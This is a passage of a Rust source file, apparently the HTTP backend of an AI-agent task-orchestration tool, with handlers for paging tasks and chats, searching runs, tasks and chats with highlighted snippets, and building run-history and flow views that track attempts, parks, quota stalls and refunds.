5313 offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5314 };
5315 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5316 Ok((ids[offset..end].to_vec(), next))
5317}
5318
5319async fn queue_page(
5320 State(ui): State<Arc<Ui>>,
5321 Query(q): Query<PageQuery>,
5322) -> ApiResult<Json<StorePage<TaskView>>> {
5323 blocking(move || {
5324 let (ids, next) = page_ids(&ui, false, q)?;
5325 let tasks: Vec<_> = ids
5326 .into_iter()
5327 .filter_map(|id| ui.queue.get(&id).ok())
5328 .collect();
5329 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5330 let rows = tasks
5331 .into_iter()
5332 .map(|task| TaskView::with_inventory(task, &inv))
5333 .collect();
5334 Ok(Json(StorePage { rows, next }))
5335 })
5336 .await
5337}
5338
5339#[derive(Debug, Clone, Serialize)]
5342struct TalkListView {
5343 title: Option<talk::ChatTitle>,
5344 id: String,
5345 repo: PathBuf,
5346 agent: String,
5347 status: talk::TalkStatus,
5348 turns: Vec<TalkListTurn>,
5349 turn_count: usize,
5350 unread_count: usize,
5351 context: talk::ContextUsage,
5352 #[serde(skip)]
5353 agent_times: Vec<Timestamp>,
5354 thinking: bool,
5355 created_at: Timestamp,
5356 updated_at: Timestamp,
5357}
5358
5359#[derive(Debug, Clone, Serialize)]
5360struct TalkListTurn {
5361 who: talk::Who,
5362 at: Timestamp,
5363 body: String,
5364}
5365
5366fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5367 let reads: HashMap<String, Timestamp> = headers
5368 .get("x-talk-reads")
5369 .and_then(|v| v.to_str().ok())
5370 .and_then(|v| serde_json::from_str(v).ok())
5371 .unwrap_or_default();
5372 let mut index = ui
5373 .monitor
5374 .talk_index
5375 .lock()
5376 .unwrap_or_else(PoisonError::into_inner);
5377 if index.len() > 1000 {
5379 let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5380 index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5381 if index.len() > 1000 {
5382 index.retain(|id, _| keep.contains(id.as_str()));
5383 }
5384 }
5385 ids.into_iter()
5386 .filter_map(|id| {
5387 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5388 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5389 let talk = ui.talks.get(&id).ok()?;
5390 #[cfg(test)]
5391 ui.monitor
5392 .talk_parses
5393 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5394 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5395 let last = talk.turns.len().checked_sub(1);
5396 let turns = talk
5397 .turns
5398 .iter()
5399 .enumerate()
5400 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5401 .map(|(_, t)| TalkListTurn {
5402 who: t.who,
5403 at: t.at,
5404 body: t
5405 .body
5406 .lines()
5407 .next()
5408 .unwrap_or_default()
5409 .chars()
5410 .take(240)
5411 .collect(),
5412 })
5413 .collect();
5414 let row = TalkListView {
5415 title: talk.title.clone(),
5416 agent_times: talk
5417 .turns
5418 .iter()
5419 .filter(|t| t.who == talk::Who::Agent)
5420 .map(|t| t.at)
5421 .collect(),
5422 turn_count: talk.turns.len(),
5423 unread_count: 0,
5424 context: talk::context_usage(&talk, None),
5425 turns,
5426 thinking: false,
5427 id: talk.id,
5428 repo: talk.repo,
5429 agent: talk.agent,
5430 status: talk.status,
5431 created_at: talk.created_at,
5432 updated_at: talk.updated_at,
5433 };
5434 index.insert(id.clone(), (identity, row));
5435 }
5436 let row = &index.get(&id)?.1;
5437 let mut row = TalkListView {
5438 title: row.title.clone(),
5439 unread_count: row
5440 .agent_times
5441 .iter()
5442 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5443 .count(),
5444 agent_times: Vec::new(),
5445 id: row.id.clone(),
5446 repo: row.repo.clone(),
5447 agent: row.agent.clone(),
5448 status: row.status,
5449 context: row.context.clone(),
5450 turns: row.turns.clone(),
5451 turn_count: row.turn_count,
5452 thinking: false,
5453 created_at: row.created_at,
5454 updated_at: row.updated_at,
5455 };
5456 row.thinking = ui.is_thinking(&id);
5457 Some(row)
5458 })
5459 .collect()
5460}
5461
5462async fn talks_page(
5463 State(ui): State<Arc<Ui>>,
5464 Query(q): Query<PageQuery>,
5465 headers: header::HeaderMap,
5466) -> ApiResult<Json<StorePage<TalkListView>>> {
5467 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5468 let (ids, next) = page_ids(&ui, true, q)?;
5469 Ok(Json(StorePage {
5470 rows: talk_rows(&ui, ids, &headers),
5471 next,
5472 }))
5473 })
5474 .await
5475}
5476
5477async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5478 blocking(move || {
5479 let tasks = ui.indexed_tasks()?;
5480 Ok(Json(TaskCountsView::from(
5481 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5482 )))
5483 })
5484 .await
5485}
5486
5487const SEARCH_MAX_HITS: usize = 100;
5489const SEARCH_MAX_QUERY: usize = 200;
5491const SEARCH_MAX_TERMS: usize = 8;
5492const SNIPPET_BEFORE: usize = 50;
5494const SNIPPET_AFTER: usize = 110;
5495
5496#[derive(Debug, Deserialize)]
5498struct SearchQuery {
5499 #[serde(default)]
5500 scope: String,
5501 #[serde(default)]
5502 q: String,
5503}
5504
5505#[derive(Debug, Serialize, PartialEq, Eq)]
5508struct SnippetPart {
5509 text: String,
5510 hit: bool,
5511}
5512
5513#[derive(Debug, Serialize)]
5514struct SearchHit {
5515 id: String,
5516 field: String,
5518 snippet: Vec<SnippetPart>,
5519 #[serde(skip_serializing_if = "Option::is_none")]
5523 run: Option<RunSummary>,
5524}
5525
5526#[derive(Debug, Serialize)]
5527struct SearchView {
5528 scope: String,
5529 q: String,
5530 hits: Vec<SearchHit>,
5532 total: usize,
5534 truncated: bool,
5535 unreadable: usize,
5538}
5539
5540fn text_leaves<'a>(
5543 value: &'a serde_json::Value,
5544 field: &'a str,
5545 out: &mut Vec<(&'a str, &'a str)>,
5546) {
5547 match value {
5548 serde_json::Value::String(s) => out.push((field, s)),
5549 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5550 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5551 _ => {}
5552 }
5553}
5554
5555fn fold_char(c: char) -> char {
5558 c.to_lowercase().next().unwrap_or(c)
5559}
5560
5561fn search_terms(q: &str) -> Vec<String> {
5563 let mut terms: Vec<String> = Vec::new();
5564 for t in q.split_whitespace() {
5565 let t = t.to_lowercase();
5566 if !terms.contains(&t) {
5567 terms.push(t);
5568 }
5569 }
5570 terms
5571}
5572
5573fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5576 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5577 let mut first: Option<usize> = None;
5578 for term in terms {
5579 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5580 first = Some(first.map_or(at, |f| f.min(at)));
5581 }
5582 let (field, text) = leaves[first?];
5584 Some(SearchHit {
5585 id: String::new(),
5586 field: field.to_owned(),
5587 snippet: snippet_of(text, terms),
5588 run: None,
5589 })
5590}
5591
5592fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5595 let chars: Vec<char> = text.chars().collect();
5596 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5597 let needles: Vec<Vec<char>> = terms
5598 .iter()
5599 .map(|t| t.chars().map(fold_char).collect())
5600 .collect();
5601 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5602 let mut best: Option<(usize, usize)> = None;
5603 for n in needles.iter().filter(|n| !n.is_empty()) {
5604 if n.len() > chars.len() || to == 0 {
5608 continue;
5609 }
5610 let last = (to - 1).min(chars.len() - n.len());
5611 if from > last {
5612 continue;
5613 }
5614 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5615 && best.is_none_or(|(b, _)| i < b)
5616 {
5617 best = Some((i, i + n.len()));
5618 }
5619 }
5620 best
5621 };
5622 let Some((start, _)) = find(0, chars.len()) else {
5623 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5625 return vec![SnippetPart {
5626 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5627 hit: false,
5628 }];
5629 };
5630 let lo = start.saturating_sub(SNIPPET_BEFORE);
5631 let hi = (start + SNIPPET_AFTER).min(chars.len());
5632 let mut parts: Vec<SnippetPart> = Vec::new();
5633 let mut push = |s: &[char], hit: bool| {
5634 if s.is_empty() {
5635 return;
5636 }
5637 let text: String = s.iter().collect();
5638 match parts.last_mut() {
5639 Some(p) if p.hit == hit => p.text.push_str(&text),
5640 _ => parts.push(SnippetPart { text, hit }),
5641 }
5642 };
5643 if lo > 0 {
5644 push(&['\u{2026}'], false);
5645 }
5646 let mut at = lo;
5647 while at < hi {
5648 match find(at, hi) {
5649 Some((s, e)) => {
5650 push(&chars[at..s], false);
5651 let shown = e.min(hi);
5653 push(&chars[s..shown], true);
5654 at = shown;
5655 }
5656 None => {
5657 push(&chars[at..hi], false);
5658 at = hi;
5659 }
5660 }
5661 }
5662 if hi < chars.len() {
5663 push(&['\u{2026}'], false);
5664 }
5665 let mut prev_space = false;
5668 for p in &mut parts {
5669 let mut out = String::with_capacity(p.text.len());
5670 for c in p.text.chars() {
5671 if c.is_whitespace() {
5672 if !prev_space {
5673 out.push(' ');
5674 }
5675 prev_space = true;
5676 } else {
5677 out.push(c);
5678 prev_space = false;
5679 }
5680 }
5681 p.text = out;
5682 }
5683 parts.retain(|p| !p.text.is_empty());
5684 parts
5685}
5686
5687fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5689where
5690 I: IntoIterator<Item = (String, serde_json::Value)>,
5691{
5692 for (id, doc) in docs {
5693 let mut leaves = Vec::new();
5694 leaves.push(("id", id.as_str()));
5697 text_leaves(&doc, "", &mut leaves);
5698 if let Some(mut hit) = search_document(terms, &leaves) {
5699 view.total += 1;
5700 if view.hits.len() < SEARCH_MAX_HITS {
5701 hit.id = id;
5702 view.hits.push(hit);
5703 }
5704 }
5705 }
5706 view.truncated = view.total > view.hits.len();
5707}
5708
5709fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5715 let opener = talk
5716 .title
5717 .as_ref()
5718 .filter(|t| !t.text.is_empty())
5719 .map(|t| t.text.as_str())
5720 .or_else(|| {
5721 talk.turns
5722 .iter()
5723 .find(|t| t.who == talk::Who::Operator)
5724 .map(|t| t.body.as_str())
5725 })
5726 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5727 .unwrap_or("");
5728 let title: String = if opener.chars().count() > 96 {
5729 opener.chars().take(95).chain(['\u{2026}']).collect()
5730 } else {
5731 opener.to_owned()
5732 };
5733 let turns: Vec<serde_json::Value> = talk
5734 .turns
5735 .iter()
5736 .map(|t| {
5737 let who = match t.who {
5738 crate::talk::Who::Operator => "operator",
5739 crate::talk::Who::Agent => "agent",
5740 };
5741 serde_json::json!({ who: t.body })
5742 })
5743 .collect();
5744 serde_json::json!({ "title": title, "turns": turns })
5745}
5746
5747async fn search_get(
5754 State(ui): State<Arc<Ui>>,
5755 Query(q): Query<SearchQuery>,
5756) -> ApiResult<Json<SearchView>> {
5757 let query = q.q.trim().to_owned();
5758 if query.is_empty() {
5759 return Err(ApiError::bad_request("q must not be empty"));
5760 }
5761 if query.chars().count() > SEARCH_MAX_QUERY {
5762 return Err(ApiError::bad_request(format!(
5763 "q is longer than {SEARCH_MAX_QUERY} characters"
5764 )));
5765 }
5766 let terms = search_terms(&query);
5767 if terms.len() > SEARCH_MAX_TERMS {
5768 return Err(ApiError::bad_request(format!(
5769 "q has more than {SEARCH_MAX_TERMS} terms"
5770 )));
5771 }
5772 let scope = q.scope;
5773 if scope != "runs" && scope != "tasks" && scope != "chats" {
5774 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5775 }
5776 blocking(move || {
5777 let mut view = SearchView {
5778 scope: scope.clone(),
5779 q: query,
5780 hits: Vec::new(),
5781 total: 0,
5782 truncated: false,
5783 unreadable: 0,
5784 };
5785 if scope == "runs" {
5786 let mut unreadable = 0;
5787 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5791 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5792 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5793 Some(v) => Some((id, v)),
5794 None => {
5795 unreadable += 1;
5796 None
5797 }
5798 }
5799 });
5800 search_docs(&terms, docs, &mut view);
5801 view.unreadable = unreadable;
5802 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5805 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5806 for hit in &mut view.hits {
5807 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5808 hit.run = summarize(
5809 [state],
5810 &open_runs,
5811 &claimed,
5812 &superseded,
5813 |p| probe.borrow_mut().status(p),
5814 |p| probe.borrow_mut().started_at(p),
5815 )
5816 .pop();
5817 }
5818 }
5819 } else if scope == "chats" {
5820 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5821 view.unreadable = unreadable;
5822 search_docs(
5823 &terms,
5824 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5825 &mut view,
5826 );
5827 } else {
5828 let docs = ui.queue.list().into_iter().filter_map(|t| {
5829 let mut v = serde_json::to_value(&t).ok()?;
5830 if let Some(o) = v.as_object_mut() {
5833 o.insert("filed_by".to_owned(), t.source.label().into());
5834 }
5835 Some((t.id, v))
5836 });
5837 search_docs(&terms, docs, &mut view);
5838 }
5839 Ok(Json(view))
5840 })
5841 .await
5842}
5843
5844#[derive(Debug, Serialize)]
5846struct TaskRunView {
5847 activity: Option<String>,
5848 n: usize,
5850 id: String,
5851 short: String,
5852 kind: &'static str,
5854 status: Option<&'static str>,
5856 readable: bool,
5858 provisional: bool,
5860 description: String,
5862 outcome: String,
5864 created_at: Option<Timestamp>,
5865 pr: Option<String>,
5866 exit: RunExit,
5868 attempt: AttemptCost,
5870 exit_label: String,
5873 later_pass: Option<usize>,
5876 pass_n: usize,
5880 passes_of_run: usize,
5881 pass: Option<PassView>,
5884 branch: Option<String>,
5886 badge: Option<String>,
5889}
5890
5891#[derive(Debug, Clone, PartialEq, Serialize)]
5893struct PassView {
5894 index: usize,
5895 resumed: bool,
5896 started_at: Timestamp,
5897 ended_at: Option<Timestamp>,
5898 end: &'static str,
5900 cause: Option<crate::run::ParkCause>,
5901 label: String,
5903 cost: Option<crate::queue::PassCost>,
5906}
5907
5908impl PassView {
5909 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5910 use crate::run::PassEnd;
5911 let (end, cause, label) = match &p.end {
5912 None => ("open", None, "still open".to_owned()),
5913 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5914 Some(PassEnd::Unrecorded) => (
5915 "unrecorded",
5916 None,
5917 "stopped without recording why (a crash, a kill or a restart; not known)"
5918 .to_owned(),
5919 ),
5920 };
5921 Self {
5922 index: p.index,
5923 resumed: p.resumed,
5924 started_at: p.started_at,
5925 ended_at: p.ended_at,
5926 end,
5927 cause,
5928 label,
5929 cost: settled.map(|t| t.cost),
5930 }
5931 }
5932}
5933
5934#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5936#[serde(rename_all = "snake_case")]
5937enum RunExit {
5938 Unreadable,
5939 Interrupted,
5941 Parked,
5942 MachineBlocked,
5943 QuotaStall,
5944 ResumedQuotaStall,
5948 Merged,
5949 Ready,
5950 Superseded,
5951 AlreadyInBase,
5954 Stalled,
5956 HeldWithPr,
5958 NoopHeld,
5959 Spent,
5961 InProgress,
5962}
5963
5964#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5965#[serde(rename_all = "snake_case")]
5966enum AttemptCost {
5967 Spent,
5968 Refunded,
5969 None,
5970 Unknown,
5972}
5973
5974impl RunExit {
5975 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5976 let Some(s) = s else {
5977 return Self::Unreadable;
5978 };
5979 let status = s.status;
5980 if resumed_later {
5981 Self::Interrupted
5982 } else if s.parked {
5983 Self::Parked
5984 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
5985 Self::MachineBlocked
5986 } else if !status.done() {
5987 Self::InProgress
5988 } else if matches!(status, RunStatus::Merged) {
5989 Self::Merged
5990 } else if matches!(status, RunStatus::Ready) {
5991 Self::Ready
5992 } else if matches!(status, RunStatus::Superseded) {
5993 Self::Superseded
5994 } else if matches!(status, RunStatus::AlreadyInBase) {
5995 Self::AlreadyInBase
5996 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5997 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5998 {
5999 if resumed {
6000 Self::ResumedQuotaStall
6001 } else {
6002 Self::QuotaStall
6003 }
6004 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6005 Self::HeldWithPr
6006 } else if matches!(status, RunStatus::VerifiedNoop) {
6007 Self::NoopHeld
6008 } else if matches!(status, RunStatus::Stalled) {
6009 Self::Stalled
6010 } else {
6011 Self::Spent
6012 }
6013 }
6014
6015 fn cost(self) -> AttemptCost {
6016 match self {
6017 Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6018 Self::Merged
6019 | Self::Ready
6020 | Self::Stalled
6021 | Self::HeldWithPr
6022 | Self::NoopHeld
6023 | Self::Spent => AttemptCost::Spent,
6024 Self::InProgress => AttemptCost::None,
6025 Self::AlreadyInBase => AttemptCost::Refunded,
6026 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6027 AttemptCost::Unknown
6028 }
6029 }
6030 }
6031
6032 fn edge_label(self, status: Option<&str>) -> String {
6034 match self {
6035 Self::Unreadable => "record unreadable".to_owned(),
6036 Self::Interrupted => "interrupted before the run finished".to_owned(),
6037 Self::Parked => "parked, attempt refunded".to_owned(),
6038 Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6039 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6040 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6041 Self::Merged => "merged".to_owned(),
6042 Self::Ready => "ready, not merged".to_owned(),
6043 Self::Superseded => "superseded by a later attempt".to_owned(),
6044 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6045 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6046 Self::HeldWithPr => "blocked, PR left open".to_owned(),
6047 Self::NoopHeld => "verified no-op".to_owned(),
6048 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6049 Self::InProgress => "in progress".to_owned(),
6050 }
6051 }
6052
6053 fn explains(self, end: TaskStatus) -> bool {
6056 match self {
6057 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6058 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6059 Self::Unreadable | Self::Superseded | Self::Ready => true,
6060 _ => end != TaskStatus::Done,
6061 }
6062 }
6063}
6064
6065#[derive(Debug, Serialize)]
6067struct TaskDetailView {
6068 #[serde(flatten)]
6069 task: TaskView,
6070 max_attempts: usize,
6073 history: Vec<TaskRunView>,
6074 passes_total: usize,
6077 runs_distinct: usize,
6079 flow: FlowView,
6080 followup_origin: Option<FollowUpOrigin>,
6082 runs_unreadable: usize,
6084 attempts_note: &'static str,
6086}
6087
6088const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6089and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6090on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6091the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6092
6093fn review_branch_of(instruction: &str) -> Option<&str> {
6096 let rest = instruction.strip_prefix("Review the work already on branch `")?;
6097 rest.split('`').next().filter(|b| !b.is_empty())
6098}
6099
6100#[derive(Default)]
6102struct RunSlot<'a> {
6103 n: usize,
6105 resumed: bool,
6107 resumed_later: Option<usize>,
6109 prior: Option<(&'a str, RunStatus)>,
6111 last: bool,
6112 pass: Option<&'a crate::run::RunPass>,
6114 settled: Option<&'a crate::queue::TaskPass>,
6116 pass_n: usize,
6118 passes_of_run: usize,
6119}
6120
6121fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6124 let RunSlot {
6125 n,
6126 resumed,
6127 resumed_later,
6128 prior,
6129 last,
6130 pass,
6131 settled,
6132 pass_n,
6133 passes_of_run,
6134 } = at;
6135 let short = run::short_of(id).to_owned();
6136 let Some(s) = state else {
6137 return TaskRunView {
6138 activity: None,
6139 n,
6140 id: id.to_owned(),
6141 short,
6142 kind: "unknown",
6143 status: None,
6144 readable: false,
6145 provisional: false,
6146 description:
6147 "This run's record could not be read by this build (written by a different \
6148 magi, or removed), so what kind of attempt it was is unknown."
6149 .to_owned(),
6150 outcome: String::new(),
6151 created_at: None,
6152 pr: None,
6153 exit: RunExit::Unreadable,
6154 attempt: AttemptCost::Unknown,
6155 exit_label: RunExit::Unreadable.edge_label(None),
6156 later_pass: resumed_later,
6157 pass_n,
6158 passes_of_run,
6159 pass: None,
6160 branch: None,
6161 badge: None,
6162 };
6163 };
6164 let branch = review_branch_of(&s.instruction);
6165 let kind = if resumed {
6166 "resume"
6167 } else if branch.is_some() {
6168 "review"
6169 } else if task.solo || s.candidates.len() == 1 {
6170 "solo"
6171 } else {
6172 "competition"
6173 };
6174 let mut description = match kind {
6175 "resume" => {
6176 format!("Resumed run {short}: the same run carried on instead of competing again.")
6177 }
6178 "review" => format!(
6179 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6180 branch.unwrap_or_default()
6181 ),
6182 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6183 _ => format!(
6184 "Competition: {} candidates judged blind.",
6185 s.candidates.len().max(1)
6186 ),
6187 };
6188 if !resumed && let Some((p, st)) = prior {
6189 description.push_str(&format!(
6190 " A retry: run {p} before it ended {}.",
6191 st.display_label()
6192 ));
6193 }
6194
6195 let status = s.status;
6196 let provisional = matches!(status, RunStatus::Stalled)
6197 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6198 let head = if resumed_later.is_some() {
6199 String::new()
6200 } else {
6201 match status {
6202 RunStatus::Merged => "Merged.".to_owned(),
6203 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6204 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6205 RunStatus::AlreadyInBase => {
6206 "Already in the base: this change landed under other commits, nothing was left to land."
6207 .to_owned()
6208 }
6209 RunStatus::Stalled => {
6210 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6211 .to_owned()
6212 }
6213 RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6214 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6215 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6216 RunStatus::VerifiedNoop => {
6217 "Verified no-op: the candidates found nothing to change.".to_owned()
6218 }
6219 other if other.done() => format!("Ended {}.", other.display_label()),
6220 other => format!("In progress ({}).", other.display_label()),
6221 }
6222 };
6223 let view = pass.map(|p| PassView::of(p, settled));
6224 let recorded_end = view
6225 .as_ref()
6226 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6227 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6228 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6229 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6230 None => "whether its attempt was handed back was not recorded",
6231 };
6232 let pass_note = if passes_of_run > 1 {
6233 format!(
6234 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6235 )
6236 } else {
6237 String::new()
6238 };
6239 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6240 let cause = match v.end {
6242 "parked" => format!("It was stopped on purpose: {}.", v.label),
6243 _ => format!("It {}.", v.label),
6244 };
6245 format!(
6246 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6247 capitalise(cost_words)
6248 )
6249 } else if let Some(k) = resumed_later {
6250 let cause = if s.quota.is_empty() {
6257 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6258 } else {
6259 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6260 };
6261 format!(
6262 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6263 )
6264 } else if s.parked {
6265 match recorded_end.and_then(|v| v.cause.as_ref()) {
6266 Some(cause) => format!(
6267 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6268 cause.label(),
6269 cost_words
6270 ),
6271 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6272 .to_owned(),
6273 }
6274 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6275 " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6276 } else if !status.done()
6277 || matches!(
6278 status,
6279 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6280 )
6281 {
6282 String::new()
6283 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6284 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6285 {
6286 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6287 .to_owned()
6288 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6289 " It left a pull request open, so the task was held for a person rather than retried."
6290 .to_owned()
6291 } else if matches!(status, RunStatus::VerifiedNoop) {
6292 " Held for a person to check the claim.".to_owned()
6293 } else if last {
6294 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6295 } else {
6296 " It spent an attempt, and the task moved on to the next run.".to_owned()
6297 };
6298 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6299 let mut attempt = exit.cost();
6300 let mut exit_label = None;
6301 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6302 let spent = match v.cost {
6303 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6304 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6305 None if resumed_later.is_some() => ", refund not recorded",
6306 None => ", attempt refunded",
6307 };
6308 attempt = match v.cost {
6309 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6310 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6311 None if resumed_later.is_some() => AttemptCost::Unknown,
6312 None => attempt,
6313 };
6314 if v.end == "parked" {
6315 exit = RunExit::Parked;
6316 exit_label = Some(match v.cause.as_ref() {
6317 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6318 format!("parked for {}{spent}", c.label())
6319 }
6320 Some(c) => format!("parked ({}){spent}", c.label()),
6321 None => format!("parked{spent}"),
6322 });
6323 } else {
6324 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6325 }
6326 }
6327 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6328 TaskRunView {
6329 activity: None,
6330 n,
6331 id: id.to_owned(),
6332 short,
6333 kind,
6334 status: Some(status.as_str()),
6335 readable: true,
6336 provisional,
6337 description,
6338 outcome: format!("{head}{why}"),
6339 created_at: Some(s.created_at),
6340 pr: s.pr.as_ref().map(|p| p.url.clone()),
6341 exit,
6342 attempt,
6343 exit_label,
6344 later_pass: resumed_later,
6345 pass_n,
6346 passes_of_run,
6347 pass: view,
6348 branch: branch.map(str::to_owned),
6349 badge: None,
6350 }
6351}
6352
6353fn capitalise(s: &str) -> String {
6354 let mut c = s.chars();
6355 c.next().map_or_else(String::new, |f| {
6356 f.to_uppercase().collect::<String>() + c.as_str()
6357 })
6358}
6359
6360#[derive(Debug, Serialize, PartialEq)]
6362struct FlowNode {
6363 key: String,
6365 kind: &'static str,
6367 label: String,
6368 status: Option<&'static str>,
6371 status_of: &'static str,
6374 note: Option<&'static str>,
6376 run_kind: Option<&'static str>,
6377 detail: Option<String>,
6378 decided: bool,
6380 readable: bool,
6381 href: Option<String>,
6382 badge: Option<String>,
6384 started_at: Option<Timestamp>,
6386 time_expected: bool,
6388}
6389
6390#[derive(Debug, Serialize, PartialEq)]
6391struct FlowEdge {
6392 from: String,
6393 to: String,
6394 label: String,
6395 attempt: AttemptCost,
6396}
6397
6398#[derive(Debug, Serialize, PartialEq)]
6399struct FlowView {
6400 nodes: Vec<FlowNode>,
6401 edges: Vec<FlowEdge>,
6402 attempts: usize,
6404 max_attempts: usize,
6405 passes: usize,
6408 runs: usize,
6409}
6410
6411fn task_flow(
6420 task: &Task,
6421 history: &[TaskRunView],
6422 max_attempts: usize,
6423 origin: Option<&FollowUpOrigin>,
6424) -> FlowView {
6425 let max_attempts = task.effective_attempt_limit(max_attempts);
6426 let node = |key: &str, kind, label: String| FlowNode {
6427 key: key.to_owned(),
6428 kind,
6429 label,
6430 status: None,
6431 status_of: "run",
6432 note: None,
6433 run_kind: None,
6434 detail: None,
6435 decided: false,
6436 readable: true,
6437 href: None,
6438 badge: None,
6439 started_at: None,
6440 time_expected: matches!(kind, "start" | "run" | "end"),
6441 };
6442 let mut nodes = Vec::new();
6443 let mut edges: Vec<FlowEdge> = Vec::new();
6444 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6446 let mut n = node(
6447 "chat",
6448 "chat",
